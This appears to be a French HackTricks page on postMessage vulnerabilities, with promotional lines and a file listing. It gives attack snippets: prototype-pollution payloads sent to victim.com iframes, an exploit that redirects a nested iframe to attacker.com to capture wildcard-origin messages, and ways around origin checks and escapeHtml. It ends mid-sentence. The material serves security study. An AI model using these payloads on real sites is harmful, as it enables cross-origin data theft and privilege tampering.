.. | ||
blocking-main-page-to-steal-postmessage.md | ||
bypassing-sop-with-iframes-1.md | ||
bypassing-sop-with-iframes-2.md | ||
README.md | ||
steal-postmessage-modifying-iframe-location.md |
Vulnérabilités PostMessage
Vulnérabilités PostMessage
Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!
Autres façons de soutenir HackTricks :
- Si vous souhaitez voir votre entreprise annoncée dans HackTricks ou télécharger HackTricks en PDF, consultez les PLANS D'ABONNEMENT !
- Obtenez le swag officiel PEASS & HackTricks
- Découvrez La famille PEASS, notre collection exclusive de NFT
- Rejoignez le 💬 groupe Discord ou le groupe Telegram ou suivez-nous sur Twitter 🐦 @carlospolopm.
- Partagez vos astuces de piratage en soumettant des PR aux HackTricks et HackTricks Cloud dépôts GitHub.
Envoyer PostMessage
PostMessage utilise la fonction suivante pour envoyer un message :
targetWindow.postMessage(message, targetOrigin, [transfer]);
# postMessage to current page
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an iframe with id "idframe"
<iframe id="idframe" src="http://victim.com/"></iframe>
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an iframe via onload
<iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">
# postMessage to popup
win = open('URL', 'hack', 'width=800,height=300,top=500');
win.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an URL
window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')
# postMessage to iframe inside popup
win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
## loop until win.length == 1 (until the iframe is loaded)
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')
Notez que targetOrigin peut être un '*' ou une URL comme https://company.com.
Dans le deuxième scénario, le message ne peut être envoyé qu'à ce domaine (même si l'origine de l'objet fenêtre est différente).
Si le joker est utilisé, les messages pourraient être envoyés à n'importe quel domaine, et seront envoyés à l'origine de l'objet fenêtre.
Attaquer l'iframe & le joker dans targetOrigin
Comme expliqué dans ce rapport si vous trouvez une page qui peut être iframée (pas de protection X-Frame-Header
) et qui envoie un message sensible via postMessage en utilisant un joker (*), vous pouvez modifier l'origine de l'iframe et exposer le message sensible à un domaine contrôlé par vous.
Notez que si la page peut être iframée mais que le targetOrigin est défini sur une URL et non sur un joker, ce truc ne fonctionnera pas.
<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
setTimeout(exp, 6000); //Wait 6s
//Try to change the origin of the iframe each 100ms
function exp(){
setInterval(function(){
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
}, 100);
}
</script>
Exploitation de addEventListener
addEventListener
est la fonction utilisée par JS pour déclarer la fonction qui s'attend à recevoir des postMessages
.
Un code similaire à celui ci-dessous sera utilisé :
window.addEventListener("message", (event) => {
if (event.origin !== "http://example.org:8080")
return;
// ...
}, false);
Notez dans ce cas comment la première chose que le code fait est de vérifier l'origine. C'est terriblement important surtout si la page va faire quelque chose de sensible avec les informations reçues (comme changer un mot de passe). Si elle ne vérifie pas l'origine, les attaquants peuvent faire en sorte que les victimes envoient des données arbitraires à ces points de terminaison et changer les mots de passe des victimes (dans cet exemple).
Énumération
Pour trouver des écouteurs d'événements dans la page actuelle, vous pouvez :
- Rechercher le code JS pour
window.addEventListener
et$(window).on
(version JQuery) - Exécuter dans la console des outils de développement :
getEventListeners(window)
- Aller à Éléments --> Écouteurs d'événements dans les outils de développement du navigateur
- Utiliser une extension de navigateur comme https://github.com/benso-io/posta ou https://github.com/fransr/postMessage-tracker. Ces extensions de navigateur vont intercepter tous les messages et vous les montrer.
Contournements de vérification de l'origine
-
L'attribut
event.isTrusted
est considéré comme sécurisé car il renvoieTrue
uniquement pour les événements générés par des actions d'utilisateurs authentiques. Bien qu'il soit difficile à contourner s'il est implémenté correctement, son importance dans les vérifications de sécurité est notable. -
L'utilisation de
indexOf()
pour la validation de l'origine dans les événements PostMessage peut être sujette à contournement. Un exemple illustrant cette vulnérabilité est :
("https://app-sj17.marketo.com").indexOf("https://app-sj17.ma")
- La méthode
search()
deString.prototype.search()
est destinée aux expressions régulières, pas aux chaînes de caractères. Passer autre chose qu'une expression régulière entraîne une conversion implicite en regex, rendant la méthode potentiellement non sécurisée. Cela est dû au fait qu'en regex, un point (.) agit comme un caractère générique, permettant de contourner la validation avec des domaines spécialement conçus. Par exemple :
"https://www.safedomain.com".search("www.s.fedomain.com")
-
La fonction
match()
, similaire àsearch()
, traite les regex. Si le regex est mal structuré, il pourrait être sujet à contournement. -
La fonction
escapeHtml
est destinée à nettoyer les entrées en échappant les caractères. Cependant, elle ne crée pas un nouvel objet échappé mais écrase les propriétés de l'objet existant. Ce comportement peut être exploité. En particulier, si un objet peut être manipulé de telle sorte que sa propriété contrôlée ne reconnaît pashasOwnProperty
, l'escapeHtml
ne fonctionnera pas comme prévu. Cela est démontré dans les exemples ci-dessous : -
Échec attendu :
result = u({
message: "'\"<b>\\"
});
result.message // "'"<b>\"
- Contournement de l'échappement :
result = u(new Error("'\"<b>\\"));
result.message; // "'"<b>\"
Dans le contexte de cette vulnérabilité, l'objet File
est notablement exploitable en raison de sa propriété name
en lecture seule. Cette propriété, lorsqu'elle est utilisée dans des modèles, n'est pas nettoyée par la fonction escapeHtml
, ce qui entraîne des risques potentiels pour la sécurité.
- La propriété
document.domain
en JavaScript peut être définie par un script pour raccourcir le domaine, permettant une application plus souple de la politique de même origine dans le même domaine parent.
Contournement de e.origin == window.origin
Lors de l'intégration d'une page web dans un iframe sandboxé en utilisant %%%